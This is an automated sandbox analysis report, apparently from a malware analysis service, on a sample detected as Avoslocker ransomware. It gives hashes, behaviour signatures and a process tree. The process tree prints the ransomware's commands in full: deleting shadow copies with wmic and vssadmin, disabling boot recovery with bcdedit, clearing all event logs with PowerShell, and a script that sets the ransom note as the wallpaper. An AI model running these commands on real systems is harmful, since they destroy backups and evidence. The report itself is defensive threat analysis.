Overview

overview

10

Static

static

3

testing.exe

windows7-x64

10

testing.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    9s
  • max time network
    40s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-12-2024 13:40

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    testing.exe

  • Size

    1.3MB

  • MD5

    af7a3708906e1ba0d51e43ce64e72b95

  • SHA1

    266af0471cdb6c1e7f682da899c4539abc52e46a

  • SHA256

    5277b6dfc55feb2002a93bc92a535360e29b738fb333db5f19be94d1c18b3e52

  • SHA512

    989fe2856a3c21d91b70bc2f207b34d05af22d35aaaec2315d991839939c916bd83e4f5849ec289b9b68799ac96b2b041354758c1af967a3717bcdcfe1994892

  • SSDEEP

    24576:cImw98okVgela0as5CqLVO7XJCjkD3N0HRAWRiDBN:qL5ljasaU2DBN

Score
10/10
avoslockerdefense_evasiondiscoveryevasionexecutionimpactransomware

Malware Config

Signatures

  • Avoslocker Ransomware

    Avoslocker is a relatively new ransomware, that was observed in late June and early July, 2021.

    ransomwareavoslocker
  • Avoslocker family
    avoslocker
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Renames multiple (5057) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 64 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 60 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\testing.exe
    "C:\Users\Admin\AppData\Local\Temp\testing.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2520
    • C:\Users\Admin\AppData\Local\Temp\temp_executable.exe
      "C:\Users\Admin\AppData\Local\Temp\temp_executable.exe"
      2⤵
      • Executes dropped EXE
      • Enumerates connected drives
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2352
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c wmic shadowcopy delete /nointeractive
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3112
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete /nointeractive
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4556
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin.exe Delete Shadows /All /Quiet
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3816
        • C:\Windows\system32\vssadmin.exe
          vssadmin.exe Delete Shadows /All /Quiet
          4⤵
          • Interacts with shadow copies
          PID:4776
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c bcdedit /set {default} recoveryenabled No
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:972
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} recoveryenabled No
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:2760
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:556
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} bootstatuspolicy ignoreallfailures
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:2864
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4564
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3532
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "$a = [System.IO.File]::ReadAllText(\"F:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        PID:25936
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\928186502.png /f
          4⤵
            PID:24868
          • C:\Windows\system32\rundll32.exe
            "C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False
            4⤵
              PID:24552
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:38400
      • C:\Windows\system32\NOTEPAD.EXE
        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\GET_YOUR_FILES_BACK.txt
        1⤵
        • Opens file in notepad (likely ransom note)
        PID:22992

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        Filesize

        2KB

        MD5

        6cf293cb4d80be23433eecf74ddb5503

        SHA1

        24fe4752df102c2ef492954d6b046cb5512ad408

        SHA256

        b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

        SHA512

        0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

        Download Submit

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        Filesize

        1KB

        MD5

        c8861299853606fac3016094fcb76d2e

        SHA1

        8969dfdc86ceceb91bec0956f6a672a8606bc841

        SHA256

        07b966f55b6c7b2f633c7a4ace5c3cc0fc6f6dcbea8ff0da2210ed4a34c2cdf0

        SHA512

        841ca021eb2e9cb9831c2637f97739b0f2b35919b4e7eea3e39af808564f06b1d2175d618912603d1f61b364882c626799f68e069b13224d5db920ac7a267ef3

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dwn44r2j.3qx.ps1
        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\temp_executable.exe
        Filesize

        807KB

        MD5

        e27b5291c8fb2dfdeb7f16bb6851df5e

        SHA1

        40207f83b601cd60905c1f807ac0889c80dfe33f

        SHA256

        ffd933ad53f22a0f10cceb4986087258f72dffdd36999b7014c6b37c157ee45f

        SHA512

        2ddbc50cd780ffbf73c354b9b437322eb49cb05bb6f287d54e7dcafb61dc4c4549e37ae2f972f3d240bfa7d2ca485b7583137f1bf038bc901f378cea0c305c6a

        Download Submit

      • F:\GET_YOUR_FILES_BACK.txt
        Filesize

        1011B

        MD5

        c92c2b70fb37f84aab38412ad9226aa8

        SHA1

        14f2e9a83285612d0a7b2c83b8f89bccfde6c154

        SHA256

        d64639e873c0873b469cd856d1ef4bce7dc14a80fac6fe2bed9d629f05acc77f

        SHA512

        04f9dcb3cd49909712535255b6eadd7fafcb2902bf1abd5a25e9bb5f5c4dc032611aec0a5b0ec89cd7dbc65276b935c54b906b391507d2e3e3aa65466b15f848

        Download Submit

      • memory/2520-7-0x00007FF676850000-0x00007FF67699D000-memory.dmp

        Filesize

        1.3MB

        Download

      • memory/3532-12359-0x00000147B2BC0000-0x00000147B2BE2000-memory.dmp

        Filesize

        136KB

        Download

      • memory/3532-21105-0x00000147B2BF0000-0x00000147B2E0C000-memory.dmp

        Filesize

        2.1MB

        Download

      • memory/3532-22709-0x00000147B2BF0000-0x00000147B2E0C000-memory.dmp

        Filesize

        2.1MB

        Download

      • memory/25936-22714-0x000001B270700000-0x000001B27091C000-memory.dmp

        Filesize

        2.1MB

        Download